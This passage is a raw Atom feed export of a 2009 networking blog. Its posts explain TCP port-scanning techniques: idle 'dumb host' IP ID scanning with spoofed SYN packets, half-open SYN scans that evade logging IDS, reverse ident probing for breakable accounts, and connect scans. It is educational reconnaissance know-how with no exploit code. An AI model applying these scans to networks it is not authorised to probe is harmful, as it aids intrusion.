href="http://3.bp.blogspot.com/_kgG57QalCyI/SlHHlMH_tPI/AAAAAAAAAGg/xD0L0fBI2JE/s1600-h/dumb.gif"&gt;&lt;img style="width: 320px; height: 145px;" id="BLOGGER_PHOTO_ID_5355280873644078322" alt="" src="http://3.bp.blogspot.com/_kgG57QalCyI/SlHHlMH_tPI/AAAAAAAAAGg/xD0L0fBI2JE/s320/dumb.gif" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;strong&gt;&lt;u&gt;SILENT or DUMB HOST&lt;/u&gt;&lt;/strong&gt; : is a server that &lt;strong&gt;sends and receives little to no traffic at all&lt;/strong&gt;, hence the characteristic name endowed upon it. Locating one of these hosts requires much effort and host sweeping itself, and is probably more trouble than what it is worth. &lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;Involved in this scenario are three hosts:&lt;br /&gt;* A -&gt; attackers host&lt;br /&gt;* B -&gt; dumb host&lt;br /&gt;* C -&gt; target host&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;Let's examine this cycle.&lt;br /&gt;* Host A sends a series of &lt;a title="ping" style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/08/ping.html"&gt;ping&lt;/a&gt;'s analysing the ID field, encapsulated within the IP header to Host B. A dumb host will have the ID increment the reply by 1 each time during the PING sequence.&lt;br /&gt;60 bytes from BBB.BBB.BBB.BBB: seq=1 ttl=64 &lt;strong&gt;id=+1&lt;/strong&gt; win=0 time=96 ms&lt;br /&gt;60 bytes from BBB.BBB.BBB.BBB: seq=2 ttl=64&lt;strong&gt; id=+1&lt;/strong&gt; win=0 time=88 ms&lt;br /&gt;60 bytes from BBB.BBB.BBB.BBB: seq=3 ttl=64&lt;strong&gt; id=+1&lt;/strong&gt; win=0 time=92 ms&lt;br /&gt;* &lt;strong&gt;Host A sends a spoofed SYN packet to Host C using the source address of Host B. The remote port is any arbitrary port (1-65535) that the attacker wishes to test for open/closed responses. Host C will reply to Host B with one of two standard responses:&lt;br /&gt;&lt;/strong&gt;-&gt; SYNACK response indicates an open LISTENING port. Host B will then reply with an RST bit flagged in the packet (automated by kernel).&lt;br /&gt;-&gt; RSTACK will indicate a NON-LISTENING port, (a standard SYN scan method reply), and Host B will ignore that packet and send nothing in reply. &lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;strong&gt;Now, how could Host A know what flags were sent to Host B ?&lt;br /&gt;&lt;/strong&gt;Well, assuming the port was open on the target server, our series of parallel PING's that Host A had been sending whilst the spoofed SYN packets were being sent will hold our answers.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Analyzing the ID field in these PING responses, one would notice a higher ID increment.&lt;/strong&gt;&lt;br /&gt;60 bytes from BBB.BBB.BBB.BBB: seq=25 ttl=64 &lt;strong&gt;id=+1&lt;/strong&gt; win=0 time=92 ms&lt;br /&gt;60 bytes from BBB.BBB.BBB.BBB: seq=26 ttl=64 &lt;strong&gt;id=+3&lt;/strong&gt; win=0 time=80 ms&lt;br /&gt;60 bytes from BBB.BBB.BBB.BBB: seq=27 ttl=64 &lt;strong&gt;id=+2&lt;/strong&gt; win=0 time=83 ms &lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;Notice the second and third packets ID responses contain values greater than 1, hence &lt;strong&gt;an &lt;u&gt;open port&lt;/u&gt; was located.&lt;/strong&gt; Any further increment of more than 1 is indicative of an open port in Host B's responses, during this period. &lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;Originally, the increment was 1, but because Host A sent a spoofed SYN to an open port, Host B had to reply to Host C with the SYNACK bit packet, thus incrementing the ID field. Following this the PING response to Host A would then in turn have a higher ID field, as suspected.&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;On the other hand,&lt;strong&gt; a &lt;u&gt;closed port state&lt;/u&gt; on Host C&lt;/strong&gt; would not require Host B to send anything, so the ID field in the PING response would not be incremented at all.&lt;br /&gt;60 bytes from BBB.BBB.BBB.BBB: seq=30 ttl=64 &lt;strong&gt;id=+1&lt;/strong&gt; win=0 time=90 ms&lt;br /&gt;60 bytes from BBB.BBB.BBB.BBB: seq=31 ttl=64 &lt;strong&gt;id=+1&lt;/strong&gt; win=0 time=88 ms&lt;br /&gt;60 bytes from BBB.BBB.BBB.BBB: seq=32 ttl=64 &lt;strong&gt;id=+1&lt;/strong&gt; win=0 time=87 ms&lt;br /&gt;&lt;br /&gt;Once again this is why a "dumb" host is required, so incoming and outgoing traffic is kept at a bare minimum in order to decrease false-positive results.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-3355800934013470350?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/3355800934013470350/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/07/ip-id-header-or-dumb-scanning.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/3355800934013470350'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/3355800934013470350'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/07/ip-id-header-or-dumb-scanning.html' title='IP ID Header or &quot;DUMB&quot; scanning'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_kgG57QalCyI/SlHHlMH_tPI/AAAAAAAAAGg/xD0L0fBI2JE/s72-c/dumb.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-8731785121920638542</id><published>2009-07-06T02:31:00.000-07:00</published><updated>2009-08-02T12:51:06.739-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Port Scanning'/><title type='text'>SYN SCAN</title><content type='html'>&lt;div align="justify"&gt;The implementation of this scan method is similar to a full TCP connect() three way handshake except instead of sending ACK responses we immediately tear down the connection.&lt;/div&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;div align="justify"&gt;client -&gt; SYN&lt;br /&gt;server -&gt; SYN | ACK&lt;br /&gt;client -&gt; RST&lt;br /&gt;This example has shown the target port was open, since the server responded with SYN  ACK flags. The RST bit is kernel oriented, that is, the client need not send another packet with this bit, since the kernel's TCP/IP stack code automates this. Inversely, a closed port will respond with RST  ACK.&lt;br /&gt;client -&gt; SYN&lt;br /&gt;server -&gt; RST | ACK&lt;/div&gt;&lt;p&gt;As such, this scan method will often go unlogged by connection based IDS', and will return fairly positive results (reliability of open/closed port recognition). Instead of sending ACK responses, we immediately tear down the connection.&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/_kgG57QalCyI/SkmR8kswcSI/AAAAAAAAAGY/a_1CXVpdVjM/s1600-h/sT_scan_open.gif"&gt;&lt;img style="WIDTH: 320px; HEIGHT: 115px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5352970101936124194" border="0" alt="" src="http://2.bp.blogspot.com/_kgG57QalCyI/SkmR8kswcSI/AAAAAAAAAGY/a_1CXVpdVjM/s320/sT_scan_open.gif" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p align="justify"&gt;As is displayed, this combination of flags is indicative of a non- listening port. Although, this technique has become rather easy to detect by many IDS, owing to the fact that a paramount of Denial of Service (DoS) utilities base their attacks by sending excess SYN packets. &lt;/p&gt;&lt;p align="justify"&gt;Fairly standard intrusion detection systems are no doubt capable of logging these half-open scans: TCP wrappers, SNORT, Courtney, iplog. Notoriously, the SYN method was first used to avoid a well used IDS, named SATAN.&lt;/p&gt;&lt;p align="justify"&gt;Advantages : fast, reliable, avoids basic IDS, avoids TCP three-way handshake&lt;/p&gt;&lt;p align="justify"&gt;Disadvantages: require root privileges, rulesets block many SYN scan attempts&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-8731785121920638542?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/8731785121920638542/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/07/syn-scan.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/8731785121920638542'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/8731785121920638542'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/07/syn-scan.html' title='SYN SCAN'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_kgG57QalCyI/SkmR8kswcSI/AAAAAAAAAGY/a_1CXVpdVjM/s72-c/sT_scan_open.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-19543661220011955</id><published>2009-06-29T21:12:00.001-07:00</published><updated>2009-08-02T12:51:06.740-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Port Scanning'/><title type='text'>HALF-OPEN SCANNING</title><content type='html'>The term 'half-open' applies to the way the client terminates the connection before the three-way handshake is completed. As such, this scan method will often go unlogged by connection based IDS', and will return fairly positive results (reliability of open/closed port recognition).&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;We have seen that a TCP connect () scan can be easily logged as the IDS can detect a complete connection being initiated from outside and being established. One way hackers began evading this detection while meeting their objective was to do a half open scan. In a half open scan, a complete TCP connection is not established. Instead, as soon as the server acknowledges with a SYNACK response, the client tears down the connection by sending a RST (or reset connection) flag. This way, the attacker detects an open port listening / running a service from the ACK response, and at the same time succeeds in not establishing a full connect ( ) system call by sending the RST from the kernel level.&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;a href="http://2.bp.blogspot.com/_kgG57QalCyI/SkmR8kswcSI/AAAAAAAAAGY/a_1CXVpdVjM/s1600-h/sT_scan_open.gif"&gt;&lt;img style="WIDTH: 320px; HEIGHT: 115px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5352970101936124194" border="0" alt="" src="http://2.bp.blogspot.com/_kgG57QalCyI/SkmR8kswcSI/AAAAAAAAAGY/a_1CXVpdVjM/s320/sT_scan_open.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;HALF-OPEN SCAN is of two types :&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;div align="justify"&gt;&lt;a href="http://swizardb.blogspot.com/2009/07/syn-scan.html"&gt;&lt;span style="color:#000000;" style="TEXT-DECORATION: none"&gt;SYN Scan&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;&lt;a href="http://swizardb.blogspot.com/2009/07/ip-id-header-or-dumb-scanning.html" style="TEXT-DECORATION: none"&gt;&lt;span style="color:#000000;"&gt;IP ID Header "Dumb Scan"&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-19543661220011955?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/19543661220011955/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/06/half-open-scanning.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/19543661220011955'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/19543661220011955'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/06/half-open-scanning.html' title='HALF-OPEN SCANNING'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_kgG57QalCyI/SkmR8kswcSI/AAAAAAAAAGY/a_1CXVpdVjM/s72-c/sT_scan_open.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-7929766881408425010</id><published>2009-06-29T11:27:00.000-07:00</published><updated>2009-08-07T03:51:58.214-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='TCP/IP'/><category scheme='http://www.blogger.com/atom/ns#' term='Port Scanning'/><title type='text'>TCP Ports</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;A port is a number between 1 and 65,535, and port number references are usually specific to an application.&lt;/li&gt;&lt;li&gt;Network makes the use of ports which are basically numbers to distinguish between which data packet is received by which application.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;A list of well known, registered, and dynamic port numbers is maintained by the Internet Assigned Numbers Authority (IANA) at this location:&lt;/li&gt;&lt;li&gt; &lt;span style="font-weight: bold;"&gt;http://www.iana.org/assignments/port-numbers&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-7929766881408425010?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/7929766881408425010/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/06/tcp-ports.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/7929766881408425010'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/7929766881408425010'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/06/tcp-ports.html' title='TCP Ports'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-2076528311158548829</id><published>2009-06-29T11:14:00.001-07:00</published><updated>2009-08-02T12:50:14.824-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Port Scanning'/><title type='text'>Reverse - Ident</title><content type='html'>&lt;div style="text-align: justify;"&gt;UNIX offers a service called ident or auth which will identify the user of a TCP connection. In the intended operation of this feature, when a user connects to a server, the server sends back a request to the ident service to discover the user's identity.&lt;br /&gt;&lt;br /&gt;   However, it can also be used in a reverse way. If a server itself also has the ident feature turned on, when a user connects to the server, the user can query the identify of the service it is connecting to.&lt;br /&gt;&lt;br /&gt;   This helps discover possible accounts that can be broken into.&lt;br /&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;technique involves issuing a response to the ident/auth daemon, usually port 113 to query the service for the owner of the running process.&lt;/li&gt;&lt;li&gt;Finds daemons running as root.&lt;/li&gt;&lt;li&gt;Intruder finds a  vulnerable overflow  and instigate  other suspicious activities involving  this port.&lt;/li&gt;&lt;li&gt;identd could release  miscellaneous private information such as:&lt;br /&gt; * user info&lt;br /&gt; * entities&lt;br /&gt; * objects&lt;br /&gt; * processes&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;ADVANTAGES : fast, requires no additional priveleges, return vital service information.&lt;br /&gt;DISADVANTAGES : Easily Detectable&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-2076528311158548829?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/2076528311158548829/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/06/reverse-ident.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/2076528311158548829'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/2076528311158548829'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/06/reverse-ident.html' title='Reverse - Ident'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-6780865815260962840</id><published>2009-06-29T10:54:00.000-07:00</published><updated>2009-08-11T06:26:47.149-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Port Scanning'/><title type='text'>TCP Connect Scan</title><content type='html'>&lt;div style="text-align: justify;"&gt;The TCP connect() scan is named after the connect() call that's used by the operating system to initiate a TCP connection to a remote device. This scan method uses the same TCP handshake connection that every other TCP-based application uses on the network. An active(Open) port sends a SYN|ACK exsuring that it is open, whereas a closed port sends a RST ensuring that it is closed.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;TCP Connection with an open port&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.networkuptime.com/nmap/images/sT_scan_open.gif"&gt;&lt;img style="cursor: pointer; width: 389px; height: 140px;" src="http://www.networkuptime.com/nmap/images/sT_scan_open.gif" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;TCP Connection with a Closed Port&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.networkuptime.com/nmap/images/sT_scan_closed.gif"&gt;&lt;img style="cursor: pointer; width: 389px; height: 140px;" src="http://www.networkuptime.com/nmap/images/sT_scan_closed.gif" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Advantages of the TCP connect() Scan&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;No special privileges are required to run the TCP connect() scan.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Accurate Results&lt;br /&gt;&lt;/li&gt;&lt;li style="text-align: justify;"&gt;&lt;a style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/08/nmap.html" title="NMAP"&gt;NMap&lt;/a&gt; uses the operating system's normal method of connecting to remote devices via TCP before it tears down the connection with the RST packet.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Disadvantages of the TCP connect() Scan&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;Since the TCP connect() scan is completing a TCP connection, normal application processes immediately follow. These applications are immediately met with a RST packet, but the application has already provided the appropriate login screen or introductory page. By the time the RST is received, the application initiation process is already well underway and additional system resources are used.&lt;/li&gt;&lt;li&gt;Easy to detect and filter by  &lt;a href="http://en.wikipedia.org/wiki/Intrusion-detection_system" target="_blank"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;IDS&lt;/span&gt;&lt;/a&gt; and Firewall.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-6780865815260962840?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/6780865815260962840/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/06/tcp-connect-scan.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/6780865815260962840'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/6780865815260962840'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/06/tcp-connect-scan.html' title='TCP Connect Scan'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-2072052409205715089</id><published>2009-06-27T22:12:00.000-07:00</published><updated>2009-08-05T03:39:23.581-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Port Scanning'/><title type='text'>TCP SCAN TYPES</title><content type='html'>&lt;p align="center"&gt;&lt;b&gt;TCP SCAN TYPES&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;b&gt;&lt;span title="dsf"&gt;OPEN SCAN&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;a style="text-decoration: none;" href="http://swizardb.blogspot.com/2009/06/tcp-connect-scan.html"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;TCP Connect&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style="color: rgb(0, 0, 0);"&gt;&lt;a style="text-decoration: none;" href="http://swizardb.blogspot.com/2009/06/reverse-ident.html"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Reverse Ident&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style="color: rgb(0, 0, 0);"&gt;&lt;a href="http://swizardb.blogspot.com/2009/06/half-open-scanning.html"&gt;&lt;b&gt;HALF-OPEN SCAN&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a style="text-decoration: none;" href="http://swizardb.blogspot.com/2009/07/syn-scan.html"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;SYN Flag&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;a style="text-decoration: none;" href="http://swizardb.blogspot.com/2009/07/ip-id-header-or-dumb-scanning.html"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;IP ID Header "dumb scan"&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style="color: rgb(0, 0, 0);"&gt;&lt;a href="http://swizardb.blogspot.com/2009/07/stealth-scanning.html"&gt;&lt;b&gt;STEALTH SCAN&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;ul&gt;&lt;li style="color: rgb(0, 0, 0);"&gt;&lt;a href="http://swizardb.blogspot.com/2009/07/syn-ack-scan.html"&gt;SYN ACK Flags&lt;/a&gt; &lt;/li&gt;&lt;li style="color: rgb(0, 0, 0);"&gt;&lt;a href="http://swizardb.blogspot.com/2009/07/fin-scan.html"&gt;FIN Flag&lt;/a&gt;&lt;/li&gt;&lt;li&gt;ACK Flag&lt;/li&gt;&lt;li style="color: rgb(0, 0, 0);"&gt;&lt;a href="http://swizardb.blogspot.com/2009/07/null-scan_06.html"&gt;NULL Flag&lt;/a&gt;&lt;/li&gt;&lt;li&gt;ALL Flags (XMAS)&lt;/li&gt;&lt;li&gt;tcp fragmenting&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;SWEEPS&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;TCP echo&lt;/li&gt;&lt;li&gt;UDP echo&lt;/li&gt;&lt;li&gt;TCP ACK &lt;/li&gt;&lt;li&gt;TCP SYN &lt;/li&gt;&lt;li&gt;ICMP Echo&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;Misc.&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;UDP/ICMP Error &lt;/li&gt;&lt;li&gt;FTP Bounce&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-2072052409205715089?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/2072052409205715089/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/06/tcp-scan-types.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/2072052409205715089'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/2072052409205715089'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/06/tcp-scan-types.html' title='TCP SCAN TYPES'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-1435926349623787261</id><published>2009-06-24T09:26:00.000-07:00</published><updated>2009-08-07T09:50:19.682-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='TCP/IP'/><title type='text'>Transmission Control Protocol [TCP]</title><content type='html'>&lt;div style="text-align: justify;"&gt;The Transmission Control Protocol/Internet Protocol (TCP/IP) model, describes a set of general design guidelines and implementations of specific networking protocols to enable computers to communicate over a network. TCP/IP provides end-to-end connectivity specifying how data should be formatted, addressed, transmitted, routed and received at the destination.&lt;br /&gt;&lt;br /&gt;TCP is a very needy protocol. When a frame with TCP data is sent across the network to another station, the sending station must receive an acknowledgement that the data was received properly. If the sending station doesn't receive an acknowledgement after a certain time period, the data is resent in the hopes that it will make it through the second time. This process continues until either the data makes it through, or the transmission process times out.&lt;br /&gt;&lt;br /&gt;TCP doesn't need to know how to traverse the network because it relies on IP to get the data to the other side. Once the data makes the trip across the network, TCP takes over and uses its &lt;a style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/06/tcp-ports.html"&gt;port numbers&lt;/a&gt; to determine where to drop the package. It's possible that IP could properly route the data across the network and TCP would try to drop the data at the specified port, but the receiving station may not be listening on that port. The TCP data would have nowhere to go and the entire packet would be discarded.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://www.cisco.com/web/about/ac123/ac147/images/ipj/ipj_7-3/anatomy_figure_1.gif"&gt;&lt;img style="width: 331px; height: 211px;" src="http://www.cisco.com/web/about/ac123/ac147/images/ipj/ipj_7-3/anatomy_figure_1.gif" title="TRANSMISSION CONTROL PROTOCOL STRUCTURE" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size:78%;"&gt;Fig. TRANSMISSION CONTROL PROTOCOL STRUCTURE. Click to Enlarge&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Learn about &lt;a style="text-decoration: none; color: rgb(0, 0, 0);" title="TCP/IP Layered Structure - How TCP works?" href="http://swizardb.blogspot.com/2009/08/tcpip-layered-architecture.html"&gt;TCP/IP Layered Structure - How TCP works?&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a id="handshake" title="handshake"&gt;&lt;/a&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;THE TCP/IP 3-WAY HANDSHAKE&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;This handshake is often referred to as the "three way handshake" because of the three frames 